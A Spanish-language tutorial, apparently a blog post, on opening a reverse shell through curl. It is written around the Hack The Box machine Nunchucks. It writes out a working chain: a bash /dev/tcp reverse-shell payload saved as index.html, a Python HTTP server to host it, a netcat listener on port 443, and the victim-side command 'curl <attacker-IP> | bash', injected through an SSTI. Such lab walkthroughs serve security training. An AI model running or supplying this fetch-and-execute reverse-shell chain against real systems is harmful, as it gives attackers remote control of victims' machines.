💻 Establecer una reverse shell con el comando Curl 💻

🤖 ¿Qué es Curl? 🤖

Curl es una herramienta cuya finalidad es transferir datos a través de una URL. Es un comando disponible en la mayoría de los sistemas basados en Unix. Es una abreviatura de Client URL. Los comandos de Curl están diseñados para funcionar como una forma de verificar la conectividad a las URL y como una gran herramienta para transferir datos.

⚙️ Ejecución ⚙️

Para realizar esta operación lo primero que debemos comprobar es que podamos realizar la petición desde el equipo víctima y que este tenga Curl instalado. Una vez tenemos esto solucionado vamos a ver el funcionamiento de manera básica.

Cuando realizamos una petición con Curl desde la máquina víctima:

				
					curl [Ip de Escucha]

curl 10.10.14.25
				
			

Y nosotros nos ponemos en escucha desde nuestra terminal, utilizando un servicio HTTP montado con Python3 por el puerto 80:

				
					sudo python3 -m http.server 80
				
			

El funcionamiento es el siguiente, cuando Curl envía una petición a nuestro equipo, estamos realizando una petición a HTTP tratando de conseguir un index.html (Para poder interpretar la página), aquí es donde viene la trampa.

Lo que nosotros vamos a hacer es crear nuestro propio archivo index.html, de forma que por dentro tenga los comandos para establecer una reverse shell con bash. De esta manera, cuando hagamos la petición por Curl y le ordenemos ejecutarlo con bash se nos abrirá la reverse shell que hayamos establecido.

El archivo index.html debe guardarse en el mismo directorio desde donde utilicemos el servicio HTTP.

🔥 Ejemplo Práctico 🔥

Vamos a necesitar tres terminales, una desde donde ejecutar la petición por Curl desde el equipo víctima, una segunda donde usaremos el servicio HTTP para compartir el archivo index.html y una tercera donde nos pondremos en escucha con NetCat (Aquí recibiremos la reverse shell).

Lo primero que vamos a hacer es preparar nuestro archivo index.html, creamos una carpeta llamada shell independiente para que nos sea más fácil:

				
					sudo mkdit shell
cd shell
				
			

Ahora creamos y definimos nuestro archivo index.html mediante el comando nano:

				
					sudo nano index.html
				
			

Copiamos y pegamos el siguiente código:

				
					#!/bin/bash

bash -i >& /dev/tcp/[Vuestra Ip]/[Puesto de escucha de NetCat] 0>&1
				
			

Debería de quedar algo así:

Una vez copiado con vuestros datos, guardáis (Ctrl x O) y salís (Ctrl + X).

Bien, ya tenemos nuestra reverse shell en bash preparada y apuntado al puerto 443. Ahora, desde la misma terminal y permaneciendo en el directorio que contenga el archivo que acabamos de crear, vamos a ejecutar el servicio HTTP con Python3 para poder compartir el archivo index.html.

				
					sudo python3 -m http.server 80
				
			

Abrimos nuestra segunda terminal y ponemos a Netcat en escucha por el puerto 443:

				
					sudo nc -lvnp 443
				
			

Ya tenemos nuestro puerto preparado para recibir la reversehe shell.

Finalmente, nos dirigimos a la terminal donde estemos en contacto con la víctima, es este ejemplo realizaré la petición usando BurpSuite ejecutando el comando dentro de un SSTI. Pero básicamente, lo que debemos es realizar la siguiente petición desde el equipo víctima:

				
					curl 10.10.14.25 | bash
				
			
  • Curl: Realizará la petición y copiará el archivo index.html desde nuestro servidor creado en Python3.
  • bash : Ordena la ejecución o interpretación del comando definido dentro del archivo, en nuestro caso, establecer una reverse shell por el puerto 443.

Si tratamos de ver la petición con Burp Suite, vemos que el comando Curl está dentro de la inyección SSTI, de tal forma que ya solo quedaría enviar la petición. También podemos ver como en la terminal del servidor HTTP nos indica un Get con código de confirmación 200.

Tras ejecutar este último comando Curl se nos tendría que haber abierto una Shell en la terminal por la que estábamos en escucha con NetCat.

 🗒️ Para este ejemplo hemos utilizado la máquina Nunchucks de Hack the Box.